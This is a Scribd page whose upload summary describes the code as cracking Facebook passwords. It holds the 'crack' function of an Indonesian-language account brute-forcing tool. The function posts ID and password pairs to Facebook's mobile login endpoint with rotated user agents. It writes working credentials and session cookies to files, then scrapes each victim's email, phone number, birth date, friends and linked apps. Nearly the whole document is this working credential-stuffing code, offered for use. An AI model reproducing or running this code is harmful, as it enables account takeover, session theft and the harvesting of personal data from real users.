0% found this document useful (0 votes)
123 views

Pyt

This Python code is cracking passwords for Facebook accounts by: 1. Randomly selecting user agents and proxies to use for requests to Facebook. 2. Making GET and POST requests to Facebook to log in to accounts using the id and passwords, and check if the login results in an OK or CP (checkpoint) response. 3. If OK, it saves the cookies and details like name, friends count etc to a file. If CP, it saves just the id and password to a separate file. It displays a progress bar and prints OK/CP status for each attempt to the screen.

Uploaded by

Fak
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
123 views

Pyt

This Python code is cracking passwords for Facebook accounts by: 1. Randomly selecting user agents and proxies to use for requests to Facebook. 2. Making GET and POST requests to Facebook to log in to accounts using the id and passwords, and check if the login results in an OK or CP (checkpoint) response. 3. If OK, it saves the cookies and details like name, friends count etc to a file. If CP, it saves just the id and password to a separate file. It displays a progress bar and prints OK/CP status for each attempt to the screen.

Uploaded by

Fak
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 4

def crack(idf,pwv):

global loop,ok,cp
bi = random.choice([u,k,kk,b,h,hh])
pers = loop*100/len(id2)
fff = '%'
print('\r%s [YANN-XD] %s/%s •_• [OK] %s •_• [CP] %s •_• %s%s%s'%
(bi,loop,len(id2),ok,cp,int(pers),str(fff),x), end=' ');sys.stdout.flush()
ua = random.choice(ugen)
ua2 = random.choice(ugen2)
ses = requests.Session()
for pw in pwv:
try:
tix = time.time()
ses.headers.update({"Host":'m.facebook.com',"upgrade-insecure-
requests":"1","user-agent":ua2,"accept":"text/html,application/
xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by
cython to avoid comment closer]/[inserted by cython to avoid comment
start]*;q=0.8,application/signed-exchange;v=b3;q=0.9","dnt":"1","x-requested-
with":"mark.via.gp","sec-fetch-site":"same-origin","sec-fetch-mode":"cors","sec-
fetch-user":"empty","sec-fetch-dest":"document","referer":"https://
m.facebook.com/","accept-encoding":"gzip, deflate br","accept-language":"en-GB,en-
US;q=0.9,en;q=0.8"})
p = ses.get('https://m.facebook.com/index.php?next=https%3A%2F
%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken%2F').text
dataa ={"lsd":re.search('name="lsd" value="(.*?)"',
str(p)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"',
str(p)).group(1),"uid":idf,"flow":"login_no_pin","pass":pw,"next":"https://
developers.facebook.com/tools/debug/accesstoken/"}
ses.headers.update({"Host":'m.facebook.com',"cache-control":"max-
age=0","upgrade-insecure-requests":"1","origin":"https://m.facebook.com","content-
type":"application/x-www-form-urlencoded","user-agent":ua,"accept":"text/
html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/
apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid
comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-
with":"mark.via.gp","sec-fetch-site":"same-origin","sec-fetch-mode":"cors","sec-
fetch-user":"empty","sec-fetch-dest":"document","referer":"https://m.facebook.com/
index.php?next=https%3A%2F%2Fround-lake.dustinice.workers.dev%3A443%2Fhttps%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken
%2F","accept-encoding":"gzip, deflate br","accept-language":"en-GB,en-
US;q=0.9,en;q=0.8"})
po =
ses.post('https://m.facebook.com/login/device-based/validate-password/?
shbl=0',data=dataa,allow_redirects=False)
if "checkpoint" in po.cookies.get_dict().keys():
if 'ya' in oprek:
akun.append(idf+'|'+pw)
ceker(idf,pw)
else:
print('\n')
statuscp = f'[•] ID : {idf} [•] PASSWORD :
{pw}'
statuscp1 = nel(statuscp, style='red')
cetak(nel(statuscp1, title='SESI'))
open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
akun.append(idf+'|'+pw)
cp+=1
break
elif "c_user" in ses.cookies.get_dict().keys():
headapp={"user-agent":"Mozilla/5.0 (Linux; Android 12;
SAMSUNG SM-G780G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/16.0
Chrome/92.0.4515.166 Mobile Safari/537.36"}
if 'no' in taplikasi:
ok+=1
coki=po.cookies.get_dict()
kuki = (";").join([ "%s=%s" % (key, value) for key,
value in ses.cookies.get_dict().items() ])
open('OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
print('\n')
statusok = f'[•] ID : {idf}\n[•] PASSWORD :
{pw}'
statusok1 = nel(statusok, style='green')
cetak(nel(statusok1, title=' NO SESI'))
break
elif 'ya' in taplikasi:
ok+=1
coki=po.cookies.get_dict()
kuki = (";").join([ "%s=%s" % (key, value) for key,
value in ses.cookies.get_dict().items() ])
open('OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
user=idf
infoakun = ""
session = requests.Session()
get_id =
session.get("https://m.facebook.com/profile.php",cookies=coki,headers=headapp).text
nama = re.findall('\<title\>(.*?)<\/title\
>',str(get_id))[0]
response =
session.get("https://m.facebook.com/profile.php?
v=info",cookies=coki,headers=headapp).text
response2 =
session.get("https://m.facebook.com/profile.php?
v=friends",cookies=coki,headers=headapp).text
response3 =
session.get(f"https://m.facebook.com/{user}/allactivity/?
category_key=all&section_id=year_2022&timestart=1609488000&timeend=1641023999&secti
onLoadingID=m_timeline_loading_div_1641023999_1609488000_8_",cookies=coki,headers=h
eadapp).text
response4 =
session.get(f"https://m.facebook.com/timeline/app_collection/?
collection_token={user}
%3A184985071538002%3A32&_rdc=1&_rdr",cookies=coki,headers=headapp).text
try:nomer = re.findall('\<a\ href\=\"tel\:\+.*?\">\
<span\ dir\=\"ltr\">(.*?)<\/span><\/a>',str(response))[0]
except:nomer = ""
try:email = re.findall('\<a
href\=\"https\:\/\/lm\.facebook\.com\/l\.php\?u\=mail.*?\" target\=\".*?\"\
>(.*?)<\/a\>',str(response))[0].replace('&#064;','@')
except:email=""
try:ttl = re.findall('\<\/td\>\<td\ valign\=\"top\"
class\=\".*?\"\>\<div\ class\=\".*?\"\>(\d+\s+\w+\s+\d+)<\/div\>\<\/td\>\<\/tr\
>',str(response))[0]
except:ttl=""
try:teman = re.findall('\<h3\ class\=\".*?\"\
>Teman\ \((.*?)\)<\/h3\>',str(response2))[0]
except:teman = ""
try:pengikut = re.findall('\<span\ class\=\".*?\"\
>(.*?)\<\/span\>',str(response4))[1]
except:pengikut = ""
try:
tahun = ""
cek_thn = re.findall('\<div\ class\=\".*?\" id\
=\"year_(.*?)\">',str(response3))
for nenen in cek_thn:
tahun += nenen+", "
except:pass

infoakun += (f"[••] Nama Akun : {nama}\n[••]


Jumlah Teman : {teman}\n[••] Jumlah Pengikut : {pengikut}\n[••] Email
Aktif : {email}\n[••] Nomor Aktif : {nomer}\n[••] Tahun Akun :
{tahun}\n[••] Tanggal Lahir : {ttl}\n")

hit1, hit2 = 0,0


cek
=session.get("https://m.facebook.com/settings/apps/tabbed/?
tab=active",cookies=coki,headers=headapp).text
cek2 =
session.get("https://m.facebook.com/settings/apps/tabbed/?
tab=inactive",cookies=coki,headers=headapp).text
if "Diakses menggunakan Facebook" in re.findall("\
<title\>(.*?)<\/title\>",str(cek)):
infoakun += (f"Aplikasi Yang Terkait*\n")
if "Anda tidak memiliki aplikasi atau situs web
aktif untuk ditinjau." in cek:
infoakun += (f"Tidak Ada Aplikasi Aktif
Yang Terkait *\n")
else:
infoakun += (f" Aplikasi Aktif : \n")
apkAktif = re.findall('\/><div\ class\
=\".*?\"\>\<span\ class\=\".*?\"\>(.*?)<\/span\>',str(cek))
ditambahkan = re.findall('\<div\>\<\/div\
>\<div\ class\=\".*?\"\>(.*?)<\/div\>',str(cek))
for muncul in apkAktif:
hit1+=1
infoakun += (f" [{hit1}]
{muncul} {ditambahkan[hit2]}\n")
hit2+=1
if "Anda tidak memiliki aplikasi atau situs web
kedaluwarsa untuk ditinjau" in cek2:
infoakun += (f"\nTidak Ada Aplikasi
Kedaluwarsa Yang Terkait\n")
else:
hit1,hit2=0,0
infoakun += (f" Aplikasi Kedaluwarsa :\
n")
apkKadaluarsa = re.findall('\/><div\
class\=\".*?\"\>\<span\ class\=\".*?\"\>(.*?)<\/span\>',str(cek2))
kadaluarsa = re.findall('\<div\>\<\/div\
>\<div\ class\=\".*?\"\>(.*?)<\/div\>',str(cek2))
for muncul in apkKadaluarsa:
hit1+=1
infoakun += (f" [{hit1}]
{muncul} {kadaluarsa[hit2]}\n")
hit2+=1
else:pass
print('\n')
statusok = f'[•] ID : {idf}\n[•] PASSWORD :
{pw}\n[•] COOKIES : {kuki}\n{infoakun}'
statusok1 = nel(statusok, style='green')
cetak(nel(statusok1, title='OK'))
break

else:
continue
except requests.exceptions.ConnectionError:
time.sleep(31)
loop+=1

You might also like